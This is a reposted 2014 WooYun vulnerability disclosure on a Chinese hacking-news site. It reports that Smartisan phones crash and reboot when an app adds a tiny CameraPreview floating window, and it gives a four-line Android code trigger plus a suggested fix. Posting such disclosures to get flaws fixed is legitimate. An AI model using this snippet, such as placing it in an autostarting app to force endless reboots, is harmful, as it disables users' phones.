记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

一段代码导致的锤子重启

2014-08-31 12:10

锤子UI对于 特殊的悬浮窗处理不当,导致系统crash,进而导致系统重启,如果app注册为随机启动服务,则可以导致系统陷入无限重启模式。





params.width =10;

params.height=10;

mPreview=new CameraPreview(this);

wm.addView(mPreview, params);



核心代码是倒数第二句,应该你们开发一看就明白了。

漏洞证明:

demo代码试一下就可以

修复方案:

对于addview操作中 如果参数为 CameraPreview的话的异常处理。

知识来源: www.wooyun.org/bugs/wooyun-2014-063637

阅读:79653 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“一段代码导致的锤子重启”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云